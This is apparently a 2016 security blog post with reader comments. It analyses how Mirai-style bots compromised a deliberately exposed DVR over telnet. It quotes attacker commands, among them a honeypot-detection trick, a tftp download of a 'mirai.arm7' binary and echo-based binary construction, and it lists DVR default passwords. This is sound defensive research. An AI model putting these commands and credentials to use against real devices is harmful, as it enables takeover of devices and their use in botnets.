The Short Life of a Vulnerable DVR Connected to the Internet

Published: 2016-10-02
Last Updated: 2016-10-03 16:04:24 UTC
by Johannes Ullrich (Version: 1)
8 comment(s)

Most devices connected to the Internet these days aren't maintained and monitored personal computers. Instead, they are devices who are often not understood as computers but as "things", giving rise to the term "Internet of Things" or "IoT".

Over two years ago, we reported about how exploited DVRs are used to attack other devices across the internet. Back then, like today, the vulnerability was an open telnet server with a trivial default password. At the time, we approached the manufacturer about this issue, and they released a firmware update that turned off telnet, by default, and actually made it a bit hard to turn on. You can no longer turn it on via the web-based interface, but only by using the "physical" interface displayed to the user connected to the DVR via an attached monitor.

But not all manufacturers did this, and there are of course still plenty of un-patched devices connected to the internet 2 years later.

As a result, we now have > 100,000 devices strong Botnets launching attacks exceeding 1TBps. [1]

One indication of this problem is visible in our data. If you look for common DVR default passwords, like xc3511, you will note a marked increase in the last couple of weeks:

password xc3511 frequency august until october 2016

Other passwords also increased significantly. For example look at 7ujMko0admin . This password doesn't look very weak at first. But, it turns out that some DVRs just prepend "7ujMko0" to the web based password. We use honeypots to capture this data, and they work well to collect the passwords, but they are poor match to the DVR's OS, so I decided to go a different route to figure out what happens next.

To test, how "bad" it is to expose a DVR to an internet connection, I did just that. I used an old DVR I had sitting around from the last DVR malware episode, and connected it to my "normal" cable modem internet connection. I captured all packets going in and out of the system, and kept watching it to make sure it wouldn't be used to attack other systems.

The sad part is, that I didn't have to wait long. The IP address is hit by telnet attempts pretty much every minute. Instead of having to wait for a long time to see an attack, my problem was that the DVR was often overwhelmed by the attacks, and the telnet server stopped responding. I had to reboot it every few minutes.

Not all attacks were successful. The attacks used various passwords, and my honeypot only allowed logins for one of them. But a couple times an hour, someone used the correct password.

The attacks I saw all followed a similar pattern:

1 - Initial Login

The attacker would run a couple of commands to make sure they are not connected to a router or a common honeypot like cowrie:

   dvrdvs login: root

   BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)

   Enter 'help' for a list of built-in commands.

   can not change to guest!

   [root@dvrdvs /] # enable
   -sh: enable: not found
   [root@dvrdvs /] # shell
   -sh: shell: not found
   [root@dvrdvs /] # sh /bin/busybox ECCHI

   BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)

   Enter 'help' for a list of built-in commands.

   ECCHI: applet not found

The use of the command "busybox ECCHI" appears to have two functions. First of all, cowrie, and more "complete" Linux distrubtions then commonly found on DVRs will respond with a help screen if a wrong module is used. So this way, "ECCHI" can be used to detect honeypots and irrelevant systems if the reply isn't simply "ECCHI: applet not found". Secondly, the command is used as a market to indicate that the prior command finished. Later, the attacker adds "/bin/busybox ECCHI" at the end of each line, following the actual command to be executed.

This technique isn't new and we have seen it in the prior DVR and IoT compromises. Other strings are used as well, in particular the string "MIRAI". See the analysis by malware must die for more details about this and other similar botnets.

Quick side note: "ecchi" often refers to anime cartoons with adult content. "mirai" is the Japanese word for future. So we may be dealing with some anime fans here. 

2 - Additional Fingerprinting

The attacker then typically does some fingerprinting by reading /proc/cpuinfo and the list of partitions. 

Next, the attacker tests if a binary file can be created using the "echo" command, but creating a quick sample file:

   /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon

This sends the string "kami" to the file /.nippon. This test is then repeated on all partitions found in "mount".

The attacker will remove the file (.nippon in this case), and also remove a number of other similar files, that may have been left behind by the competition

rm /.t; rm /.sh; rm /.human

I have also seen .s being used, but it looks like this attacker wasn't aware of that file.

Next, the attacker tests if tftp and wget is available. On my system, only tftp was available. He tried to use it to download a tool called "dvrHelper", but the download failed in this case:

  /bin/busybox tftp -g -l dvrHelper -r mirai.arm7; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
  /bin/busybox cp dvrHelper upnp; > upnp; /bin/busybox chmod 777 upnp; /bin/busybox ECCHI

Finally, since neither tftp or wget worked, the attacker used the good old "echo" trick to build a binary:

  ​echo -ne '\x7f\x45\x4c\x46\x01\x01 ... ' > upnp ; /bin/busybox/ECCHI

I recovered two distinct binaries. The first one downloads additional malware via a simple TCP connection, while the second one appears to include the entire telnet scanner. 

3 - Download Bot/Scanner

Here is where things get a bit different from the older exploits. In the past, these exploits relied heavily on bash/perl/python scripts, or relatively bulky binaries. In this case, the binaries are very small, only a few hundred bytes long. "upnp" above is 1664 bytes long.

Soon after the binary is downloaded, it will start scanning for more vulnerable hosts at a very high rate (> 100 connections/second).

The results are passed to a collector on port 80 about once a minute. The request sent is not a normal HTTP request, but instead just the string "telnet arm7" . I didn't allow the system to reach any other vulnerable systems, but I suspect that the list of IP addresses it found vulnerable would have been added to the request.

Interestingly, I didn't see any attempt by these bots to reset the password. The DVR was left wide open to additional attacks.

During my experiments, the DVR was successfully attacked several times an hour. 

What can you do to help?

Consider running the latest version of cowrie on a honeypot to help us keep an eye on the passwords attempted to look for any shifts in the current pattern. And of course let your friends / family members know that the fancy security camera system they have may have a problem. 

Related Files:

- pcap of attack:
- "upnp" binary:
- another binary from an earlier attack:

I would like to thank Dave Hoelzer and and David Hollister who helped me understand the "s" binary above better.  

[1] Source Code for IoT Botnet ‘Mirai’ Released


Johannes B. Ullrich, Ph.D.

8 comment(s)


It was in a separate zone that wasn't locked down like the rest of my network.
'kami' also means god or wolf (or hair), depending on the Kanji
"Secondly, the command is used as a market to "

'morning Johannes,

It's a nice article, thanks. But why do you allow Telnet in through your modem? Do you also allow UPnP? The average home network is going to be crawling with insecure devices from the DVR to the kids' ancient and unpatched facetube laptops. Isn't it to be expected that if you allow connections like Telnet and UPnP, that almost every home network in the world will be hosed?


PS: And we won't even think about what happens to a corporate network without an effective firewall and network architecture :-)
> But why [does one] allow Telnet in through your modem?

1. Curiosity on the part of a security-researcher, to see and capture what is "out there".

2. Sometimes, a modem is just a modem, not a "combination" of a cable-modem and a NAT-device.

So, coax-cable ---> modem <--- Ethernet cable ---> "Smart TV"

The TV gets a "public" IP-address, not a private ( IP-address.
In this configuration, all TCP/IP traffic, including TELNET, reaches the device.

Plus, the modem has no [easily-accessible] interface to allow the configuration of blocked/allowed TCP/IP connections.
'morning Johannes,

Thanks for your reply...

> 1. Curiosity on the part of a security-researcher, to see and capture what is "out there".

That makes good sense :-)

> Plus, the modem has no [easily-accessible] interface to allow the configuration of blocked/allowed TCP/IP connections.

That is very sad. I do not have access to cable so I have no experience in the config of the associated modems and I just assumed that they would be at least as configurable as a standard ADLS router/modem. With that in mind, can you tell me if the address that is allocated to the modem is routable to/from the broader Internet, or is it only routable within the cable service-provider's network? The difference is probably academic since the cable service-provider's network is probably huge and can probably support it's own little malware ecosystem, but it would still be interesting to know.

The xc3511 comes from this

Advisory here:
So I just got Honeeepi running on a Pi 3 and have Cowrie functional. I get a ton of hits from China, and some from Ukraine so far (Only had it up for a day). It just doesn't seem to be that attractive though. I get a lot of logons, then log right back off. What can I do to be more attractive? And should I enable it's Dshield reporting once it gets better? Thanks for any ideas.

- Joe hmm, why am I Anonymous.. I'll deal with that...

Diary Archives